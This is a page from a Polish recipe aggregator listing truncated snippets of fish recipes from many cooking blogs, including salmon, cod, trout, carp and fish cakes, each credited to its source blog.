ryby - 22566 przepisów (strona:346/1505)

Pulpety rybne w sosie chrzanowo-koperkowym 7

Dziś ryba w roli głównej, a dokładnie pulpety rybne w sosie chrzanowym z koperkiem. Klopsy przygotowałam z mrożonej miruny – jest to chyba moja ulubiona (obok łososia) ryba. Z podanych ilości wychodzi ogromna porcja pulpetów. My jedliśmy je przez 2 dni około 700 g miruny lub dorsza 1 większa cebula 1 kajzerka + mleko do namoczenia 2 jajka 2-3 łyżki(...)smaku) 1 łyżka octu jabłkowego sól, pieprz Kajzerkę zalewamy w miseczce mlekiem, odstawiamy na około 20 minut do namoczenia (w połowie czasu przewracamy bułkę na drugą stronę). Cebulę oraz rybę kroimy na mniejsze części, przepuszczamy, wraz z odciśniętą kajzerką, przez maszynkę do mielenia. Dodajemy jajka, bułkę tartą oraz sól i pieprz. Mieszamy. Odstawiamy do lodówki na około godzinę

Smaki Na Talerzu
Karp po żydowsku 21

Skąd pochodzi tradycja karpia na Wigilii? Karp na wigilijnym stole to tradycja, która ma swoje korzenie zarówno w polskiej kulturze, jak i w dawnych zasadach postnych. Już w średniowieczu ryby były ważnym elementem diety w okresach postu – według zasad Kościoła katolickiego w Wigilię należało powstrzymać się od spożywania mięsa. Ryba, jako pokarm postny, stała

Kulinarnyblog.pl - wiesz jak gotować!
Łosoś z chorizo w sosie pomidorowym 34

Łosoś z chorizo w sosie pomidorowym to danie idealne gdy szukasz smacznego, prostego i szybkiego przepisu na obiad lub kolację. Czas przygotowania: 30 minut Ilość porcji

karolgotuje
Łosoś w sosie szpinakowym 32

Szukasz pomysłu na obiad z łososiem w roli głównej? Przed Tobą jedna z moich ulubionych ostatnio propozycji na przygotowanie tej ryby. Podsmażonego łososia podaję razem z sosem szpinakowym oraz ryżem. Smakuje to po prostu cudnie, a jest takie proste do przygotowania. Najpierw doprawiam i obsmażam łososia, a następnie szykuję rzadki beszamel, do którego pod koniec dodaję szpinak. Po chwili(...)soli ( ilość zależna będzie od tego jak słony był bulion ) i gałki muszkatołowej. Wkładamy kawałki łososia. Dusimy na małym ogniu, pod przykryciem, jeszcze przez około 2-3 minuty (aby ryba ponownie się zagrzała). Podajemy z ugotowanym ryżem

Smaki Na Talerzu
Przepis na rybę zapiekaną ze szpinakiem i mozzarellą 49

Ryba zapiekana w piekarniku   W życiu usmażyłem jedną rybkę, potem zdarzało mi się upiec. Wiadomo smażone nie zdrowe, a pieczone zdrowe. Tak mi w głowie zakodowano, więc do smażenia nie garnąłem się. Co najwyżej usmażyłem jajecznicę lub naleśniki....  👉Jak zrobić obiad zgodny z dietą rozdzielną❓     Robiłem różne potrawy pieczone zanim Agnieszka się wprowadziła, a dzisiaj(...)Agnieszka włada w kuchni i ma dla Was nowy przepis na pieczoną rybę. Zapraszamy na przepis na rybę zapiekaną w szpinaku i mozzarelli.   Link do filmu z przepisem Jak zrobić rybę zapiekaną ze szpinakiem i mozzarellą - Miruna zapiekana w piekarniku   Składniki: 450g filetów bez skóry (u mnie miruna) 200g świeżego szpinaku 1 mała cebula 2 ząbki czosnku

Dieta Rozdzielna i Zdrowie
Rigatoni z Mintajem 47

oczywiście warzywnych. Są też idealne do zapiekanek, gdyż ser, na przykład, idealnie wtapia się w rigatoni. Rigatoni z Mintajem. Na zakończenie, zapraszam na fantastycznie pyszne połączenie makaronu i ryby, w pysznym sosie z pieczonej papryki, pomidorów, pesto i innych dobroci. Składniki Mintaj – u mnie mrożony – 300 gram Rigatoni 250 gram Pesto z suszonych pomidorów 100 gram Czerwona(...)pozostaw na jakieś 30 minut. W międzyczasie mintaja pokrój na wielkość kęsa, dopraw solą i pieprzem. Po drugie rozgrzej nieprzywierającą patelnię i wlej oliwę z oliwek, wrzuć kawałki ryby i dość mocno je obsmaż z każdej strony, następnie przełóż na talerzyk. W międzyczasie usuń spaloną skórkę z papryki, usuń nasiona i pokrój ją w kostkę. Po trzecie na rozgrzaną

RafalCook
Łosoś z sosem holenderskim. Doskonałe i wykwintne połączenie. PRZEPIS 47

holenderski nie tylko świetnie nadaje się do szparagów i jajek, ale też rewelacyjnie sprawdza się jako dodatek do ryb. Nam najbardziej smakuje z łososiem. To nie tylko niezwykle smaczne, ale też wykwintne połącznie. Przepis na łososia z sosem holenderskim Składniki: 2 porcje fileta z łososia po około 130 gramów każda, olej, 3 żółtka, sok z ćwiartki cytryny, ćwierć kostki(...)masła, sól, pieprz. Jak zrobić łososia z sosem holenderskim? Łosia oprósz solą i pieprzem, skrop olejem, delikatnie natrzyj, odstaw na około 15 minut do lekkie go zamarynowania. Rybę połóż na rozgrzanej patelni bez dodatkowego tłuszczu zaczynając od strony skóry, smaż pod przykryciem, przez 3-4 minuty, odwróć, smaż bez przykrycia koleje 3-4 minuty. Masło rozpuść w rondelku

Kulinarna Polska
Seleryba czyli seler a’la ryba 40

Wegańska wersja ryby przyrządzona z selera. Dzięki liściom nori seler po usmażeniu wygląda jak prawdziwa ryba natomiast w smaku, moim zdaniem, jest o wiele lepszy. Print Seleryba czyli seler a'la smażona ryba Course Danie główne Cuisine Japońska Ingredients 2 liście nori 2 saszetki zupy miso 300 ml wody 1 seler 1 jajko 1 łyżka sosu sojowego 1 łyżka

PanGotuje
Łosoś w miodowej glazurze z warzywami 70

serca, mózgu oraz naszych oczu. Kwasy te stanowią bardzo ważny element naszej diety i powinniśmy jeść ich jak najwięcej. Pomijając czy to łosoś, czy nie to zaleca się jeść ryby co najmniej 2-3 razy w tygodniu. Sprawdź przepis na: Polędwica z dorsza w sosie szpinakowym Składniki filet z łososia warzywa na patelnię ulubione przyprawy: oregano, bazylia, sól, pieprz

Kulinarnyblog.pl - wiesz jak gotować!
Domowy paprykarz z makrelą wędzoną 84

laurowy, ziele angielskie, paprykę, chili, sól, pieprz i pomidory w puszce. Duszę przez około 15 minut, aż marchewka będzie miękka, pod koniec dodaję koncentrat pomidorowy. W między czasie obieram rybę ze skóry i dokładnie obieram z ości. Rozdrabniam na mniejsze kawałki.  Do duszonych warzyw dodaję ryż, rybę i dokładnie mieszam. W razie potrzeby doprawiam solą i pieprzem.  Smacznego

magiczna kuchnia Kasi
Zapiekanka z dorszem, szpinakiem, makaronem i mozzarellą 75

Dawno tak mi nie smakowała ryba, jak w zapiekance ze szpinakiem, makaronem i mozzarellą. Jak dla mnie obłędna w smaku. Zapomniałam sobie wcześniej odmrozić szpinak, więc go "rozbiłam". Niestety w takiej postaci nie mogłam go odcisnąć z nadmiaru wody i sos miałam zbyt rzadki. Dlatego już teraz zwracam uwagę, aby szpinak był dobrze odciśnięty. SKŁADNIKI 400-500 g polędwicy(...)przez 1/2 czasu wskazanego na opakowaniu. Mozzarellę odsączyć z zalewy. Piekarnik rozgrzać do temperatury 200 ° C. Naczynie żaroodporne wysmarować olejem, wsypać makaron, dodać masę szpinakową (nieco zostawić na polanie ryby) i wymieszać. Rybę umyć, pokroić na plasterki i ułożyć na górze zapiekanki, po czym doprawić ją niewielką ilością soli i pieprzu. Wierzch polać pozostałą masą szpinakową i posypać rozdrobnioną

Passions hobbies life
Wiosenny burger ze szparagami i sosem duńskim 79

jako sos duński. Wypełnioniy po brzegi różnorodnymi dodatkami, takimi jak kapary, kiszone lub konserwowe ogórki, czy nawet anchois, dodaje daniom charakteru i świetnie komponuje się w wiosennym burgerze z rybą i szparagami. Jednak żeby burger miał w sobie tę wiosenną lekkość, zastąpiłam część majonezu w sosie jogurtem greckim i to był strzał w dziesiątkę! :D Zapraszam Was zatem na tego(...)czarny do smaku Do tego pół pęczka szparagów 1/2 łyżeczki masła sól 1/2 kulki mozzarelli bułki do burgerów (np. z tego przepisu ) liście zielonej sałaty Sposób przyrządzenia: Burgery 1. Rybę posiekaj bardzo drobno (nie miksuj w robocie, wtedy burgery wyjdą suche). 2. Mozzarellę również drobno posiekaj o dodaj do ryby. 3. Dodaj posiekane zioła, czosnek i dopraw do smaku

Kuchnia w Słońcu Skąpana
Paszteciki z łososiem i chrzanem 71

oliwą. Na 16 pasztecików. SKŁADNIKI 300 g surowego łososia 1 opakowanie (300 g) ciasta francuskiego 3 łyżki koncentratu pomidorowego 3 łyżki chrzanu 1 jajko 1 łyżka sezamu przyprawa do ryb, zioła prowansalskie, sól, pieprz, oregano WYKONANIE Piekarnik rozgrzać do temperatury 200 ° C. Blaszkę z wyposażenia piekarnika wyłożyć papierem do pieczenia. Łososia umyć w zimnej wodzie i odciąć skórę. Następnie(...)przyprawić go z obu stron przyprawą do ryb i ziołami prowansalskimi. Łososia pociąć na 8 plastrów. Ciasto francuskie rozwinąć, posmarować całe koncentratem pomidorowym i posypać oregano. Następnie przekroić je na pół pionowo tworząc dwa długie paski (patrz zdjęcia na końcu postu). Zaczynając od lewej strony położyć kawałek łososia "na stojąco", posmarować go grubo chrzanem i ciasno zawinąć ciastem

Passions hobbies life
Jajka faszerowane wędzonym pstrągiem łososiowym. 86

Jajka faszerowane wędzonym pstrągiem łososiowym, to genialnie smakująca przystawka. Wędzona ryba doskonale pasuje do  jajek. Kwaśny korniszon i szczypiorek dopełniają smak. Tylko 4 składniki a efekt godzien świątecznego stołu. Wędzonego pstrąga łososiowego możesz zastąpić wędzonym łososiem. Zamiast korniszonów lub wraz z nimi możesz użyć marynowanych oliwek, kaparów, grzybków marynowanych. Jeśli zostanie Ci kilka faszerowanych jajek, to możesz wykorzystać(...)zrobienia kanapek. wystarczy posiekać grubo jajka wraz z wędzoną rybą, dodać odrobinę majonezu i powstanie coś w stylu pasty jajecznej. Składniki: 5 jajek ekologicznych 100 g wędzonego pstrąga łososiowego 5 mini korniszonków 2 łyżki siekanego szczypiorku Przygotowanie: Jajka ugotować na twardo, ja gotuję przez 7 minut od momentu zagotowania wody. Ostudzić, obrać ze skorupek, przekroić na pół. Wędzonego pstrąga łososiowego

Codziennik Kuchenny
Pieczony łosoś 111

Szybki i łatwy pomysł na zdrowy obiad - pieczona ryba w tym przypadku łosoś z pieprzem cytrynowym i koperkiem.   Składniki: 3-4 kawałki filetu łososia ze skórą po ok 15 cm, pół pęczku koperku, sól, pieprz cytrynowy cytryna   Przygotowanie: Rybę przekładamy na blachę do pieczenia wyłożoną papierem do pieczenia. Koper siekamy. Filet z łososia opruszamy solą, pieprzem oraz koperkiem(...)Pieczemy przez 15-20 minut (w zależności od grubości ryby) w piekarniku nagrzanym do 180 stopni.  Przed podaniem skrapiamy delikatnie sokiem z cytryny. Podajemy z warzywami (w mnie mieszanka brokuł, kalafior, marchew

Lena Gotuje
Pad thai z warzywami i łososiem. 79

łosoś z warzywami jest zwycięzcą. Niesamowity obiad sprawi, że nasze kubki smakowe oszaleją. Łosoś z dodatkiem makaronu i warzyw to smaczny i szybki obiad. Łosoś jest znaną i lubianą rybą. Jego właściwości odżywcze są bezcenne dla naszego organizmu. Jedzenie tej ryby wzmacnia odporność, zapobiega nowotworom. Normalizuje ciśnienie krwi, działa przeciwzapalnie i przeciwalergicznie. Jedzenie łososia zapobiega depresji. Pozytywnie wpływa(...)kokosowy, sos sojowy, ocet ryżowy, ketchup, orzechy nerkowca wszystko miksujemy za pomocą blendera ręcznego. Łososia myjemy i osuszamy. Następnie na każdy kawałek nakładamy marynatę i pozostawiamy na około godzinę. Rybę przekładamy do naczynia żaroodpornego i pieczemy ją przez 20 minut w temperaturze 180°C. Makaron ryżowy przygotowujemy wg instrukcji na opakowaniu. Marchewkę kroimy w słupki lub ścieramy na tarce jarzynowej

Zdrowy Styl Joanny
Kotlety rybno – ziemniaczane 78

Pyszny pomysł na obiad z dodatkiem ryby. Idealny sposób by nasze niejadki zjadły tak nielubianą przez nich rybę. Artykuł Kotlety rybno – ziemniaczane pochodzi z serwisu Pieprzyć z fantazją

Pieprzyć z Fantazją
Ryba po japońsku 80

świątecznym stole nie może zabraknąć tego przysmaku. Cała rodzina uwielbia moją rybę po japońsku - kiedy pojawia się na stole, znika jako pierwsza

Prosty przepis na
Dorsz w płatkach migdałowych 72

szklanki otrębów owsianych, 2 łyżki mąki kukurydzianej. Pieczone warzywa: 1 cukinia, ziemniak, czerwona papryka, 1 łyżka oliwy z oliwek, łyżeczka suszonych ziół prowansalskich. Sposób przygotowania Najpierw myję i osuszam rybę. Następnie kroję ją w mniejsze części. Rybę doprawiam pieprzem zwykłym, pieprzem cytrynowym i sokiem z cytryny. W miseczce mieszam ze sobą składniki na panierkę, czyli otręby owsiane, mąkę kukurydzianą(...)płatki migdałowe. W drugiej miseczce rozbełtuję jajko. Później panieruję kawałki dorsza, to znaczy najpierw zamaczam każdy z nich w jajku, a następnie w suchej panierce. Tak przygotowane kawałki ryby smażę na rozgrzanym oleju z dwóch stron, aż panierka nabierze złocistego koloru. Warzywa Najpierw kroję warzywa w mniejszą kostkę i wrzucam do naczynia żaroodpornego (można rozłożyć na blaszce z papierem

Natka Pietruszki
Kolacja promująca kampanie "Which Fish - jaka ryba?" 118

sobotę wieczorem dzięki uprzejmości Śląskiego Zoo miałam przyjemność uczestniczyć w wyjątkowej kolacji, promującej kampanię “Which fish - Jaka ryba?”, która jest poświęcona zagrożeniom przełowienia ryb w oceanach i wpływu komercyjnej działalności człowieka na ochronę gatunków morskich. Czytaj więcej

Bernika - moj kulinarny pamietnik
Paprykarz 111

odstawiamy do przestygnięcia. Cebulę kroimy w drobną kostkę, czosnek przeciskamy przez praskę, przekładamy do garnka z olejem i chwilę dusimy. Dodajemy marchewkę i seler starte na tarce, dusimy. Rybę osączamy z nadmiaru wody na ręczniku papierowym i drobno siekamy. Dodajemy do warzyw i wszystko dusimy do miękkości. Doprawiamy solą, papryką słodką i ostrą ew. pieprzem. Dodajemy koncentrat pomidorowy i ketchup(...)razie gdyby warzywa mocno odparowały podczas duszenia, podlewamy je niewielką ilością wody żeby nam się nie przypaliły. Warzywa z rybą mieszamy z wcześniej ugotowanym ryżem i dokładnie mieszamy. W razie potrzeby doprawiamy jeszcze do smaku. Artykuł Paprykarz pochodzi z serwisu To co lubię gotuję

To co lubię - gotuję i polecam
Sałatka z wędzoną rybą 133

Składniki: 200 g kapusty pekińskiej 200 g wędzonej ryby, u mnie trewal 2 jajka 1 puszka groszku 2 ogórki kiszone lub małosolne 1 łyżka majonezu 2 łyżeczki musztardy sól, pieprz … Czytaj dalej Sałatka z wędzoną rybą

czarrna od kuchni
Łosoś w marynacie curry na soczewicy. Obiad z rybą w orientalnym stylu. PRZEPIS 94

Zwykłemu filetowi z łososia bardzo łatwo możesz nadać orientalnego sznytu. Z dodatkiem soczewicy stworzysz pyszne i zdrowe danie. Bardzo często przygotowujemy rybę w ten sposób. Przepis na łososia w marynacie curry Składniki: około 250 gramów świeżego fileta z łososia podzielonego na 2 porcje, płaska łyżka proszku curry, 2 łyżki sosu sojowego, szklanka zielonej soczewicy, ostra papryczka, pół pęczka natki pietruszki(...)kolendry, sól, olej. Jak zrobić łososia w marynacie curry? W misce wymieszaj proszek curry i połowę łyżeczki soli z sosem sojowym oraz 2 łyżkami oleju. Włóż rybę, dokładnie natrzyj marynatą, odstaw do lodówki co najmniej na godzinę, aby przeszła wszystkimi smakami. W tym czasie ugotuj soczewicę pod przykryciem w dwóch szklankach wody z dodatkiem odrobiny soli. Gdy wchłonie prawie całą

Kulinarna Polska
Jajka z łososiem 96

śniadanko, kolację, podać na imprezie lub postawić na świąteczny wielkanocny stół. Pomysł przyda się również, gdy chcesz przygotować coś dobrego dla alergików pokarmowych (prócz alergii na jajka i ryby)   Inne przekąski… ** Jajka faszerowane pieczarkami ** Sałatka na pomidorach ** Mini tortille z papryką i ogórkiem ** Domowe pieczywo czosnkowe   (adsbygoogle = window.adsbygoogle || []).push({}); Składniki: 4-5 jajek ugotowanych na twardo

Kulinarny S.O.S.
Łosoś z majonezem z suszonych pomidorow 84

Prosty i pyszny obiad z łososiem w roli głównej, ale tak naprawdę to majonez pomidorowy robi całą robotę temu daniu. To on powoduje że ryba nabiera wyjątkowego smaku. Miks majonezu z suszonymi pomidorami to idealny dodatek nie tylko do ryby ale także wędlin, jajek czy kanapek. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Dorsz z posypką z bulki tartej z limonkowym puree z batata na sosie ze szpinaku i śmietany oraz duszonymi z szałwią warzywami 67

stuprocentowo głupio, że zaniedbałam czytelników mojego bloga i są osoby, które regularnie przypominają mi, że powinnam coś mądrego wrzucić. Zatem nie przedłużając przechodzę do meritum. Na zdjęciu jest ryba. Spowodowana głównie tym, że od 23 dni nie jem mięsa. I słodyczy. Nie. Nie na zawsze. Tylko w okresie postu, postanowiłam trenować swoją silną wolę. Notabene bardzo przydaje się to postanowienie(...)dobie kryzysu, bowiem o mięso ciężko, a o homara i krewetki łatwo. Rybie, dorszowi, towarzyszy limonkowe puree z batata, sos na bazie śmietany i szpinaku oraz duszone z szałwią warzywa. Oczywiście całość jest obłędnie smaczna, głównie za sprawą posypki z kopru i bułki tartej, lub za sprawą wszystkiego co jest na tym talerzu. W każdym razie. Teraz w okresie nudy

Mango Papaja
Łosoś w miodowo-czosnkowej glazurze 88

Ostatnio były krewetki, teraz czas na rybę! Jestem wielką fanką ryb, zwłaszcza w wydaniu azjatyckim, ale niestety nie mogę ich jeść tak często jak bym chciała. Korzystając z okazji, że udało się coś upichcić oczywiście dzielę się z Wami przepisem! Dziś na talerzu łosoś w miodowo-czosnkowej glazurze. Delikatna ryba, pyszny sos z nutą orientu – to jest

Mostek w kuchni
ŁOSOŚ TERIYAKI – kuchnia japońska 107

Łosoś to zdecydowanie jedna z moich ulubionych ryb. Droga, ale uważam, że warto od czasu do czasu wydać więcej i zjeść pyszną rybę, której smak na długo pozostanie w pamięci. Łosoś teriyaki z całą pewnością na długo pozostawi Wam uczucie oblizywania się na samo wspomnienie – gwarantuję! Soczysty, świeży łosoś zamarynowany w aromatycznej, orientalnej marynacie jest fantastycznym pomysłem

Ostra na Słodko
Dorsz pieczony z koperkiem 147

smak i prostota wykonania to kwintesencja tego przepisu, dorsz pieczony z koperkiem jest naprawdę prosty i bardzo szybki w wykonaniu, do tego bardzo smaczny. Dorsz jest jedną z droższych ryb dostępnych w naszych sklepach, jednak ze względu na walory smakowe warto pokusić się o jego przyrządzenie.    Dorsz pieczony z koperkiem Składniki (dla 2 osób): filet z dorsza(...)paprykę słodką i ostrą, potem dodajemy posiekane kilka gałązek kopru i szczyptę soli i pieprzu, wszystkie składniki dokładnie mieszamy. Filety z dorsza z każdej strony smarujemy przygotowanym sosem, następnie rybę układamy w naczyniu żaroodpornym. Przygotowanego dorsza skrapiamy sokiem z cytryny następnie całość wkładamy do piekarnika nagrzanego do 180 0 C i pieczemy przez 15min. dorsz pieczony z koperkiem Zapraszam również

Księga-Smaku
Najprostsze sushi maki 112

Niekiedy nachodzi nas z żoną ochota na zjedzenie czegoś jeszcze ładniejszego bigosu. W sukurs przychodzi wtedy kuchnia azjatycka, która udowadnia, że wodorosty, ryż i trochę ryby mogą stworzyć przepyszne danie. Jeśli nigdy nie jedliście sushi – spróbujcie koniecznie! Od razu zaznaczę – tak, wiem, że sushi teoretycznie nie powinno się wykorzystywać takiego zwykłego wędzonego łososia. Spróbujcie mi zabronić! Przygotowanie składników(...)smażenia. Zresztą, spójrzcie ilu lat dożywają Azjaci! Po piąte: Może być zróżnicowany. Do takiego sushi tak naprawdę możecie użyć wielu innych składników! Ogórek, awokado, łosoś, tuńczyk lub inna ryba, paluszki krabowe, krewetki, śledź, sezam, kawior, papryka, szczypiorek… Warto pokombinować! Powyższy przepis jest świetną bazą do eksperymentów

Proste-przepisy.pl
Smażony dorsz 135

Delikatny dorsz smażony. Składniki: 1 kg dorsza 2 jajka około 1 szklanki mąki pszennej sól pieprz olej rzepakowy do smażenia Wykonanie: Rybę oczyszczamy, kroimy na mniejsze kawałki,  myjemy, osuszamy ręcznikiem papierowym. Rybę solimy i pieprzymy z obu stron.  Jajka wybijamy do miseczki, solimy, pieprzymy i roztrzepujemy widelcem. Mąkę wysypujemy na płaski, duży talerz. Rybę otaczamy w jajku(...)następnie w mące. Rybę smażymy na rozgrzanym oleju po kilka minut z każdej strony - do uzyskania złotego koloru (łącznie około 8 minut).   Smacznego

Smak mojego domu
Łosoś w sosie Chimichurri z letnim twistem owocowym 195

właśnie na nim wyląduje aromatyczny sos ziołowy z letnim, owocowym twistem. Chimichurri to tradycyjny sos argentyński a bazie oliwy/oleju, octu winnego lub innego kwasu (u mnie umiłowany przez rybę sok z cytryny ;)) i mnóstwa ziół! Natka pietruszki to absolutna podstawa, a do niej świeży czosnek i coś pikantnego. Podawany tradycyjnie do grillowanych mięs i warzyw sprawdzi się też idealnie jako(...)słodkich owoców środka Sierpnia :) Borówki i brzoskwinie idealnie tutaj pasują, wynosząc sam sos, jak i całe danie na niesamowicie lekki, letni i kolorowy poziom, dodając wyrazistości i stawiając rybę w totalnie nowym świetle smaków! A obok kremowe awokado, dojrzałe, słodkie pomidorki koktajlowe w balkonowego krzaka i pikantne plasterki szalotki. Całość sprawdzi się także z drobiem. Będziecie płakać ze szczęścia

Kuchnia w Słońcu Skąpana
Pikantna marynata do ryby 140

szczypta soli morskiej, 1/3 łyżeczki pieprzu cytrynowego, 1/2 łyżeczki papryczki chilli, 1/2 łyżeczki słodkiej papryczki Przygotowanie: Przyprawy mieszamy z sobą, posypujemy rybę. Grillujemy od 3-5 minut w zależności od grubości ryby z obu stron. Podajemy z cytryną oraz sałatką ze świeżych warzyw

Lena Gotuje
Fit kotlety rybne z kaszą jaglaną 122

kotlety rybne z kaszą jaglaną polane sosem pomidorowym to bardzo lekkie, pożywne i zdrowe danie obiadowe. Jeden kotlecik ma tylko około 120 kcal. Są delikatne, miękkie i puszyste. Smak ryby jest jak dla mnie wystarczająco wyczuwalny, kasza jaglana go nie pochłania, choć nieco łagodzi. Jeśli dbacie(...)linię, ta potrawa na pewno urozmaici wasze codzienne menu! [embed]https://youtu.be/mw-MMRaGU7M[/embed] Składniki na fit kotlety rybne z kaszą jaglaną (około 12 sztuk): 400 g filetów z ryba (dałam z dorsza) 100 g kaszy jaglanej 3 średnie marchewki jajko pół szklanki płatków owsianych pęczek natki pietruszki sól, pieprz, papryka ostra, czosnek suszony, pieprz ziołowy, estragon, suszona cebula

e-PrzepisyKulinarne
Pieczony pstrąg z warzywami 185

niecałą godzinę. Aromatyczny, pieczony pstrąg z warzywami Dzisiaj przedstawiam kolejny przepis na pyszną rybkę, tym razem jest to pstrąg pieczony z warzywami. Pstrąg to jedna z moich ulubionych ryb. Przede wszystkim z tego względu, że wspaniale smakuje i bardzo pasuje mi delikatna konsystencja mięsa. Dodatkowo pstrąga robi się szybko i bez zbędnych ceregieli. :) Jeśli lubisz tę pyszną rybkę(...)zaletą jest to, że wszystko robi się praktycznie w tym samym czasie i na tej samej blasze, dzięki czemu nie brudzimy niezliczonej ilości naczyń! Bardzo lubię takie przepisy. :) Pyszna ryba z warzywami Pstrąg świetnie komponuje się z pieczonymi warzywami takimi jak batat, cukinia, pomidory czy cebula ale można dodać do niego również bakłażana, paprykę, marchewkę czy korzeń pietruszki

Book of spells
Pieczony pstrąg z warzywami 185

niecałą godzinę. Aromatyczny, pieczony pstrąg z warzywami Dzisiaj przedstawiam kolejny przepis na pyszną rybkę, tym razem jest to pstrąg pieczony z warzywami. Pstrąg to jedna z moich ulubionych ryb. Przede wszystkim z tego względu, że wspaniale smakuje i bardzo pasuje mi delikatna konsystencja mięsa. Dodatkowo pstrąga robi się szybko i bez zbędnych ceregieli. :) Jeśli lubisz tę pyszną rybkę(...)zaletą jest to, że wszystko robi się praktycznie w tym samym czasie i na tej samej blasze, dzięki czemu nie brudzimy niezliczonej ilości naczyń! Bardzo lubię takie przepisy. :) Pyszna ryba z warzywami Pstrąg świetnie komponuje się z pieczonymi warzywami takimi jak batat, cukinia, pomidory czy cebula ale można dodać do niego również bakłażana, paprykę, marchewkę czy korzeń pietruszki

Book of spells
Pasta rybna z kukurydzą 186

Składniki: ok. 200 g wędzonej ryby 2 ogórki konserwowe 3 jajka 3 łyżki kukurydzy z puszki 1/2 cebuli 1 łyżka majonezu 1 łyżeczka musztardy sól, pieprz Przygotowanie: Rybę pozbawić ości … Czytaj dalej Pasta rybna z kukurydzą

czarrna od kuchni
Dorsz na pieczarkowym risotto 135

Marynata do ryby sok z połowy cytryny łyżeczka musztardy szczypta tymianku sól 3,4 łyżki oleju rzepakowego mały ząbek czosnku przeciśnięty przez praskę Rybę płuczemy , osuszamy na papierowym ręczniku.Składniki na marynatę łączymy ze sobą dokładnie mieszając ,zalewamy rybę i wkładamy do lodówki na minimum pół godziny przed pieczeniem. Risotto 100 g ryżu 0k. 250 g pieczarek 1 mała

Andzia Pichci
PIKNIKOWE KULEBIAKI Z ŁOSOSIEM 98

Wszyscy wiedzą że ryby są zdrowe. Wiosna do idealny czas aby zacząć jeść lekkie dania. To tez czas pikników i rodzinnych wypadów za miasto. Potrawy muszą nadawać się aby jeść je na zimno a także muszą być wygodne w konsumowaniu. Kulebiaki piknikowe są właśnie idealne! Do kulebiaków dodałam łososia MOWI .  Łosoś jest zdrowy ponieważ: zawiera kwasy OMEGA(...)ciasta wyłożyć farsz oraz łososia (po 1 łyżce farszu i kawałku łososia na każdą część ciasta). Wszystko przykrywamy pozostałym ciastem który odstawiliśmy na bok. Wykrawać z każdego ciasta kształt ryby. Wierzch kulebiaków posmarować rozbełtanym jajkiem. Piec w temperaturze do uzyskania złocistego koloru

Kuchnia w oparach
Łosoś w śmietanie 117

sosie śmietanowym . Przepis jest bardzo prosty, smaczny i sycący. W zamrażarce miałam jeszcze sporo łososia przywiezionego aż ze Skandynawii, stwierdziłam więc, że trzeba go zagospodarować na obiad.Wyciągnęłam rybę z zamrażarki z myślą, że to świetna okazja, aby został zapieczony w śmietanie. Tak jak lubię. U nas przeważnie w piątek jada się rybę na obiad, ot taka rodzinna tradycja. Danie

Damsko-męskie spojrzenie na kuchnię
Pomarańczowy łosoś 101

smaku opcjonalnie sos sojowy Zagotuj wodę na makaron. Usuń skórę z fileta, jeśli ją posiada. Wyjmij ości. Dopraw solą i pieprzem. Wyciśnij sok z pomarańczy i dodaj do niego rybę. Obtocz rybę dokładnie w soku. Odstaw. Rozgrzej patelnię. Wrzuć makaron do gotującej się wody. Rybę wraz z sokiem przełóż na patelnię. Dodaj sos sojowy, jeśli używasz. Smaż krótko z każdej(...)strony, a następnie zmniejsz ogień, smaż pod przykryciem. Odcedź makaron, podawaj z rybą. Użyłam makaronu cytrynowego. Jeśli masz ochotę, możesz do zwykłego makaronu zetrzeć odrobinę skórki z cytryny lub z pomarańczy. Będzie smakowało jeszcze lepiej

Kucharzyca
Łosoś w marynacie sezamowo- musztardowej 96

Łosoś to wdzięczna ryba. Marynuje się szybko, piecze się też i pasuje prawie do każdego dodatku. Dziś chcę przedstawić nietypową, ale bardzo smaczną marynatę do łososia. Spróbujecie? Składniki: – 1 kilogram filetu z łososia – 1 kopiasta łyżka musztardy słodkiej – 2 łyżki oleju sezamowego – 1 łyżka octu ryżowego – 1 łyżka sosu sojowego – sok z połówki jednej(...)cytryny Wszystkie składniki sosu wymieszać w misce. Rybę pokroić na spore kawałki, włożyć do miski z sosem, obtoczyć z każdej strony i schować do lodówki na 2 godziny. Po tym czasie włączyć piekarnik, nagrzać do 180 stopni. Rybę przełożyć do naczynia żaroodpornego, szczelnie przykryć papierem do pieczenia i piec przez 15 minut, następnie zdjąć papier i piec przez kolejne

Smaki Armine
ryba ze szpinakiem ,mango i czarnym ryzem 82

Składniki 1 szklanka czarnego ryżu 1½ szklanki wody olej kokosowy dowolna ryba sól,pieprz do smaku panko 1 mango obrane i pokrojone w kostkę młode liście szpinaku 1 łyżeczka miodu,lub cukru pudru 2 łyżeczki octu jabłkowego ,lub sok z cytryny ocet oliwa z oliwek Wykonanie Jedna szklankę czarnego ryżu wsypać do rondla ,dodać łyżkę oleju kokosowego ,lub oliwy(...)minut. Rondel z grubym dnem i szczelna pokrywką. Ryżu nie mieszać w trakcie gotowania. Zgasić płomień i pozwolić ,aby ryz doszedł do siebie nie otwierając rondla. Kawałki ryby posolić ,popieprzyć ,przełożyć do miseczki i pozostawić na noc ,lub na 2-3 godziny .Gotowe kawałki obtoczyć w jajku i panko ,smażyć na rozgrzanym oleju oleju kokosowym na złoty kolor. Mango

mojej kuchni
Dorsz w panierce z panko i parmezanu 115

Wiem, że po świętach pewnie macie dość ryb wszelakich, ale gdyby jednak ktoś z was miał ochotę na pyszną, chrupiącą rybkę to polecam zrobić ją w panierce z japońskiej bułki z dodatkiem włoskiego sera parmezan. To połączenie na pewno wam przypadnie do gustu. A kto akurat panko nie ma niech zrobi te rybkę w zwykłej bułce tartej z parmezanem(...)jest to już produkt egzotyczny bo bez problemu można go dostać od polskiego producenta w sieci sklepów Delikatesy Centrum, gdyby ktoś szukał. Świetna do kotletów, nuggetsów czy ryby. Polecam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Łosoś pieczony z porem 239

Łosoś pieczony w piekarniku z dodatkiem pora to pyszny pomysł na piątkowy, niedzielny, czy świąteczny obiad. Ryba pieczona w piekarniku pod przykryciem wychodzi pyszna i soczysta, a dodatek pora jest wspaniałym uzupełnieniem dania. Łosoś pieczony z porem – Składniki: ok. 600 g filetu z łososia sok z połowy małej cytryny 3 duże pory (tylko białe i jasnozielone części(...)porową pierzynką: Łososia umyć, osuszyć papierowym ręcznikiem. Podzielić na 4 kawałki. Skropić sokiem z cytryny i odstawić na ok. 30 minut do lodówki. Po tym czasie ponownie osuszyć rybę za pomocą ręczników papierowych. Doprawić do smaku solą oraz świeżo zmielonym czarnym pieprzem. Naczynie żaroodporne wysmarować cienko masłem lub spryskać oliwą/olejem. Na dno położyć filet łososia skórą do dołu

Kulinarne Przeboje
Laxpudding - szwedzka zapiekanka ziemniaczana z łososiem 254

